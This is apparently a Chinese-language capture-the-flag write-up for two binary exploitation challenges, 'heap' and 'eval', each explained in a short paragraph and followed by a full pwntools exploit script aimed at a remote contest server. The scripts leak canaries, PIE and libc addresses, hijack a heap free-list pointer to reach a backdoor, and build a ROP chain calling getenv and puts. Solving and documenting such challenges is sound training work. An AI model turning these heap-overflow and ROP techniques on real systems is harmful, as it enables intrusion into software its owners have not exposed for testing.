一开始直接忘了这个比赛,早上课上到一半看队友在说才想起来(

heap

自己写的堆管理器,洞是堆溢出。小于0x80的堆块类似于cache可以用于劫持next指针实现任意地址分配,大于0x80的堆块在free之后堆头会写上elf段的地址可以用于泄露elf基址,最后利用可控的容易地址分配劫持malloc中里调用的函数指针为backdoor即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
#!/usr/bin/python2
from pwn import *

# io = process('./heap')
io = remote('8.130.86.205', 20199)
context.binary = 'heap'

rc = lambda n : io.recv(n)
ru = lambda x : io.recvuntil(x, drop = True)
sa = lambda a, b : io.sendafter(a, b)
sla = lambda a, b : io.sendlineafter(a, b)
ia = lambda : io.interactive()
uu64 = lambda x : u64(x.ljust(8, '\x00'))
pie_os = lambda x : pie_base + x

def menu(choice):
sla('> ', str(choice))

def add(size):
menu(1)
sla('size: ', str(size))

def delete(idx):
menu(2)
sla('index: ', str(idx))

def edit(idx, content):
menu(3)
sla('index: ', str(idx))
sa('data: ', content)

def show(idx):
menu(4)
sla('index: ', str(idx))

add(0x90)
add(0x90)
add(0x90)
delete(1)

edit(0, 'a' * 0xa1)
show(0)
ru('a' * 0xa0)
canary = uu64(rc(8)) - 0x61

edit(0, 'a' * 0xb0)
show(0)
ru('a' * 0xb0)
leak = uu64(ru('\n'))

edit(0, 'a' * 0xb8)
show(0)
ru('a' * 0xb8)
pie_base = uu64(ru('\n')) - (0x55e231203060 - 0x55e231000000)
victim = pie_os(0x00000000002031E0)
backdoor = pie_os(0x0000000000000EAD)
pld = flat({
0xa0: [
canary,
0xa0aaaaaaaa,
leak,
]
}, filler = '\x00')
edit(0, pld)

add(0x20)
add(0x20)
add(0x20)
add(0x20)
delete(1)
delete(4)
delete(3)
add(0x20)

edit(1, 'a' * 0x31)
show(1)
ru('a' * 0x30)
canary = uu64(rc(8)) - 0x61

edit(1, 'a' * 0x40)
show(1)
ru('a' * 0x40)
leak = uu64(ru('\n'))

pld = flat({
0x30: [
canary,
0x30aaaaaaaa,
leak,
victim-0x28
]
}, filler = '\x00')
edit(1, pld)

add(0x20)
add(0x20)
edit(4, flat(backdoor))
add(0x20)

ia()

这也能2血

eval

早就拿到shell了,然后发现flag在进程的环境变量里,硬是折磨了一下午。负数可以泄露libc地址、stack地址和canary;负数+数字可以在栈上特定偏移的地方写入数据,构造打印FLAG环境变量的ropchain(getenv+puts)然后劫持rbp返回到主函数后再次返回时触发栈迁移即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#!/usr/bin/python2
from pwn import *

#io = process('./eval', env = {"FLAG":"flag{test}"})
io = remote('8.130.86.205', 32199)
context.binary = 'eval'
libc = ELF('libc.so.6', checksec = False)

ru = lambda x : io.recvuntil(x, drop = True)
sl = lambda x : io.sendline(x)
ia = lambda : io.interactive()
libc_os = lambda x : libc_base + x
libc_sym = lambda x : libc_os(libc.sym[x])

for i in range(1, 43):
sl('-'+str(i))
leak = int(ru('\n'))
if i == 38:
canary = leak
if i == 40:
leak_stack = leak

libc_base =leak - 0x61d6f+0x30
pop_rdi = libc_os(0x0000000000023b6a)
puts = libc_sym('puts')
getenv = libc_sym('getenv')
flag_str = leak_stack - 0x280
pld = flat([
'-94+',
str(u32('FLAG')),
])
sl(pld)
pld = flat([
'-95+',
str(puts),
])
sl(pld)
pld = flat([
'-96+',
str(pop_rdi),
])
sl(pld)
pld = flat([
'-97+',
str(puts),
])
sl(pld)
pld = flat([
'-98+',
str(getenv),
])
sl(pld)
pld = flat([
'-99+',
str(flag_str),
])
sl(pld)
pld = flat([
'-100+',
str(pop_rdi),
])
sl(pld)
pld = flat([
'-101+',
str(0xdeadbeef1333),
])
sl(pld)
pld = flat([
'-102+',
str(canary),
])
sl(pld)
rop_addr = leak_stack - 0x2c0
pld = flat([
'-8+',
str(rop_addr+8)
])
sl(pld)
sl('')
ia()